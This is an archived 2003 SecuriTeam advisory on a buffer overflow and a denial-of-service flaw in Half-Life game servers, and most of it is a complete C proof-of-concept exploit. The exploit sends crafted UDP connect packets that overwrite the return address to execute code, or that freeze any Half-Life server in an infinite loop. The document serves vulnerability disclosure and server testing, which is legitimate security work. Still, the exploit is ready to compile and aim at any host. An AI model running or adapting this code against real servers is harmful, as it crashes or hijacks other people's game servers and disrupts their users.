[NEWS] Half-Life Servers Buffer Overflow and Denial of Service Vulnerability (Exploit)
From: SecuriTeam (support_at_securiteam.com)
Date: 07/31/03
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 31 Jul 2003 21:27:52 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Get Thawte's New Step-by-Step SSL Guide for Apache.
In this guide you will find out how to test, purchase,
install and use a Thawte Digital Certificate on you Apache web server.
Throughout, best practices for set-up are highlighted to help you
ensure efficient ongoing management of your encryption keys and digital
certificates. Get you copy of this new guide now:
http://ad.doubleclick.net/clk;5903117;8265118;i
- - - - - - - - -
Half-Life Servers Buffer Overflow and Denial of Service Vulnerability
(Exploit)
------------------------------------------------------------------------
SUMMARY
Valve's Half-Life was released in 1998 but remains as the world's most
popular FPS game.
The success of the game is largely due to the overwhelming community
support, which has spawned a range of MODs for the game - including the
popular Counter-Strike MOD and Day of Defeat.
There is a buffer overflow in the connection routine of the Half-Life
server, allowing remote attackers to cause the product to execute
arbitrary code.
DETAILS
Vulnerable systems:
* Half-Life version 1.1.1.0 and prior
* Half-Life dedicated version 3.1.1.1c1
* Half-Life dedicated version 4.1.1.1a
There is a buffer overflow in the Half-Life servers.
Both the dedicated server and the game server are vulnerable.
The only limitation in this buffer-overflow is that some bytes cannot be
used in the shellcode because they are delimiters or otherwise reserved
for use by the Half-Life protocol. This puts some minor constraints on the
execution of the remote code, but is far from limiting.
Further, there is a Denial of Service vulnerability that completely
freezes the server, entering it into an infinite loop.
Fix:
Valve was notified of this vulnerability on April 14 2003, and replied
that they were working to patch these bugs.
Since that last point of contact, Valve and its representatives have been
contacted on multiple occasions for a status update on the patch, without
any replies.
Workaround:
An unofficial patch is available for Half-Life 1.1.1.0 and 4.1.1.0
dedicated server (retail game):
<http://www.pivx.com/luigi/patches/hlbof-server-1110-fix.zip>
http://www.pivx.com/luigi/patches/hlbof-server-1110-fix.zip
* The other versions cannot be patched because WON doesn't allow it!
Exploit:
The proof-of-concept exploit is very simple, and acts partly as a DoS and
a code execution exploit.
The return address is overwritten with the offset of a function in
SWDLL.DLL that displays a message in the console of the dedicated server,
after which it crashes. This approach was chosen to demonstrate actual
code execution without endangering the administrator, enabling the admin
to easily verify whether the server is vulnerable. The POC exploit can be
used against both the dedicated and the game servers, overwriting the
stored address with 0x063c27f5.
It can be compiled on both Windows and UNIX and can test both the
buffer-overflow in the parameter (code-execution) and in the value
(DoS):
/*
Half-Life dedicated server <= 1.1.1.0 buffer overflow test for any Windows
by Auriemma Luigi
e-mail: aluigi@pivx.com
web: http://www.pivx.com/luigi/
This very simple/lame tool lets everyone to test their Half-Life server
(both Win and Linux versions).
If the remote server is a Half-Life dedicated server on Windows {
The tool simply calls a function in SWDS.DLL that visualizes some strings
and one of these strings is just pointed by the ESP register to our
string that has caused the buffer-overflow.
That means that EVERY Windows system can use this little tool.
After that the strings will be shown in your dedicated server console,
you
will got the classical error message by Windows (unfortunally the
function
I call, crashs after visualizing the message)
} else {
this exploit will simply cause a remote crash on every MOD that uses
}
the Half-Life engine and the same game too.
UNIX & WIN VERSION
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 4096
#define PORT 27015
#define INFO "\xff\xff\xff\xff" \
"infostring\n\0"
#define GETCH "\xff\xff\xff\xff" \
"getchallenge\n\0"
#define TIMEOUT 5 /* 5 seconds */
#define PAYLOAD "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
"\t\t\t\t\t\t\t\t\t\t\t\t\t" \
"HalfLife buffer overflow by Auriemma Luigi." \
"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" \
"\t\t\t\t\t\t\t\t\t\t\t\t" \
/* EBP */ "\t\t\t\t" \
/* EIP */ "\xf5\x27\x3c\x06"
/* PAYLOAD is 268 bytes! */
#define MODEL "robo"
#define NAME "Bugtest"
#define TOPCOLOR "25" /* 0-255, it's NOT important */
#define BOTTOMCOLOR "161" /* 0-255, it's NOT important */
#define BOF1 "\xff\xff\xff\xff" \
"connect %d" \
" %s \"" \
"\\prot\\2" \
"\\unique\\-1" \
"\\raw\\%08lx%08lx%08lx%08lx" \
"\" \"" \
"\\model\\" MODEL \
"\\topcolor\\" TOPCOLOR \
"\\bottomcolor\\" BOTTOMCOLOR \
"\\rate\\9999.000000" \
"\\cl_updaterate\\20" \
"\\cl_lw\\1" \
"\\cl_lc\\1" \
"\\cl_dlmax\\128" \
"\\hud_classautokill\\1" \
"\\name\\" NAME \
"\\" PAYLOAD "\\value" \
"\"\n"
#define BOF2 "\xff\xff\xff\xff" \
"connect %d" \
" %s \"" \
"\\prot\\2" \
"\\unique\\-1" \
"\\raw\\%08lx%08lx%08lx%08lx" \
"\" \"" \
"\\model\\" PAYLOAD \
"\\topcolor\\" TOPCOLOR \
"\\bottomcolor\\" BOTTOMCOLOR \
"\\rate\\9999.000000" \
"\\cl_updaterate\\20" \
"\\cl_lw\\1" \
"\\cl_lc\\1" \
"\\cl_dlmax\\128" \
"\\hud_classautokill\\1" \
"\\name\\" NAME \
"\"\n"
#define BUGNUM "" \
"1 Parameter buffer-overflow: prints a string into the console of the
dedicated\n" \
" server and crash the game server (possible remote code execution).\n" \
" The target dedicated server must be the Windows version 1.1.1.0, if not
you\n" \
" will not see my message but the return address will be likewise
overwritten\n" \
" (SWDS.DLL must have the MD5 187a300a636d01a67918b706a5ef85a4 if you want
to\n" \
" see the message)\n" \
"2 Value buffer-overflow: freezes ANY Half-life server (infinite loop)\n"
int getproto(unsigned char *buff);
int timeout2(int sock);
void showinfostring(unsigned char *buff, int size);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
unsigned char buffrecv[BUFFSZ],
buffsend[sizeof(BOF1) + 64],
challenge[16],
bug,
*bofstr,
*stri,
*strf;
struct sockaddr_in peer;
int sd,
err,
rlen,
bufflen,
proto;
setbuf(stdout, NULL);
fputs("\n"
"Half-Life server buffer overflow & freeze ("VER")\n"
"by Auriemma Luigi\n"
"e-mail: aluigi@pivx.com\n"
"web: http://www.pivx.com/luigi/\n"
"Versions affected: 1.1.1.0, 4.1.1.1a and 3.1.1.1c1" \
"\n", stdout);
if(argc < 3) {
printf("\nUsage: %s <bug_number> <host> [port(%u)]\n"
"\n\nbug_number:\n\n"
BUGNUM
"\n", argv[0], PORT);
exit(1);
}
srand(time(NULL));
#ifdef WIN
WSADATA wsadata;
err = WSAStartup(MAKEWORD(2,0), &wsadata);
if(err < 0) std_err();
#endif
bug = argv[1][0];
switch(bug) {
case '1': bofstr = BOF1; break;
case '2': bofstr = BOF2; break;
default: {
fputs("\nError: You MUST choose one of the following bug numbers:\n\n"
BUGNUM
"\n", stdout);
exit(1);
}
}
peer.sin_addr.s_addr = resolv(argv[2]);
if(argc > 3) peer.sin_port = htons(atoi(argv[3]));
else peer.sin_port = htons(PORT);
peer.sin_family = AF_INET;
rlen = sizeof(peer);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
/* GET INFORMATIONS */
err = sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer,
rlen);
if(err < 0) std_err();
err = timeout2(sd);
if(err < 0) {
fputs("\nError: socket timeout\n", stdout);
exit(1);
}
err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer,
&rlen);
if(err < 0) std_err();
buffrecv[err] = 0x00;
proto = getproto(buffrecv);
showinfostring(buffrecv, err);
/* GET CHALLENGE NUMBER */
err = sendto(sd, GETCH, sizeof(GETCH) - 1, 0, (struct sockaddr *)&peer,
rlen);
if(err < 0) std_err();
err = timeout2(sd);
if(err < 0) {
fputs("\nError: socket timeout\n", stdout);
exit(1);
}
err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer,
&rlen);
if(err < 0) std_err();
buffrecv[err] = 0x00;
stri = strchr(buffrecv, 0x20);
if(!stri) stri = buffrecv;
strf = strchr(stri + 1, 0x20);
if(!strf) strf = buffrecv + err;
*strf = 0x00;
strncpy(challenge, stri, 16);
printf("Challenge: %s\n", challenge);
bufflen = snprintf(buffsend,
sizeof(BOF1) + 64,
bofstr,
proto,
challenge,
#ifdef WIN
(rand() << 16) + rand(), /* 16bit */
(rand() << 16) + rand(),
(rand() << 16) + rand(),
(rand() << 16) + rand());
#else
(long)(rand() << 1) + (rand() & 0xf), /* 31bit */
(long)(rand() << 1) + (rand() & 0xf),
(long)(rand() << 1) + (rand() & 0xf),
(long)(rand() << 1) + (rand() & 0xf));
#endif
if(bufflen < 0) {
fputs("\nError: cannot allocate buffer in memory\n", stdout);
exit(1);
}
err = sendto(sd, buffsend, bufflen, 0, (struct sockaddr *)&peer, rlen);
if(err < 0) std_err();
err = timeout2(sd);
if(err < 0) {
fputs("\nResult: The remote server IS vulnerable!!!\n", stdout);
return(0);
}
err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer,
&rlen);
if(err < 0) std_err();
buffrecv[err] = 0x00;
printf("Connect: %s\n", buffrecv + 5);
close(sd);
fputs("\nResult: The server doesn't seems to be vulnerable\n\n",
stdout);
return(0);
}
int getproto(unsigned char *buff) {
int p;
unsigned char *ptr;
ptr = strstr(buff + 23, "protocol");
if(ptr) {
p = atoi(ptr + 9);
} else {
fputs("\nError: No protocol informations in the answer of the server\n",
stdout);
exit(1);
}
return(p);
}
void showinfostring(unsigned char *buff, int size) {
int nt = 1,
len;
unsigned char *string;
fputs("\n--------------------------------------------------\n", stdout);
if(memcmp(buff + 1, "\xff\xff\xff", 3)) {
fputs("\nError: Bad answer from the server (it is not a true server)\n",
stdout);
exit(1);
}
len = strlen(buff);
if(len < size) buff += len + 1;
while(1) {
string = strchr(buff, '\\');
if(!string) break;
*string = 0x00;
/* \n or \t */
if(!nt) {
printf("%s: ", buff);
nt++;
} else {
printf("%s\n", buff);
nt = 0;
}
buff = string + 1;
}
printf("%s\n", buff);
}
int timeout2(int sock) {
struct timeval timeout;
fd_set fd_read;
int err;
timeout.tv_sec = TIMEOUT;
timeout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &timeout);
if(err < 0) std_err();
if(err == 0) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The original advisory can be found at:
<http://www.pivx.com/luigi/adv/hlbof-server-adv.txt>
http://www.pivx.com/luigi/adv/hlbof-server-adv.txt
The information has been provided by <mailto:aluigi@pivx.com> Auriemma
Luigi.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [EXPL] Half-Life Exploit Code Released (Malformed Packet)
... A vulnerability in Half-Life allows an attacker to cause the server to
no ... int main ... (Securiteam) - [2.6 patch] remove smbfs
... smbfs back in 2005 due to smbfs being unmaintained. ... for mounting to older
SMB servers such as OS/2. ... -that turns any Unix host into a file server for DOS
or Windows clients. ... -static int do_smb_getmountuid ... (Linux-Kernel) - [UNIX] Multiple Vulnerabilities in Citadel/UX
... could allow complete control over a vulnerable server. ... Citadel server
as can be seen by this simplistic code snippet: ... configuration buffers, leading to the
possibility of carrying out a buffer ... int connect_to_host; ... (Securiteam) - [NT] BFCommand and Control, Battlefield 1942 and BFVietnam Multiple Vulnerabilities
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... BFCommand & Control Server
Manager is ... void proxy(int sock, u_char *buff, int size); ... (Securiteam) - [NT] Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Proto
... and use a Thawte Digital Certificate on your MSIIS web server. ... The resource
reservation protocol (RSVP) is used within the Subnet ... a higher priority than
the current RSVP server ... int nbytes); ... (Securiteam)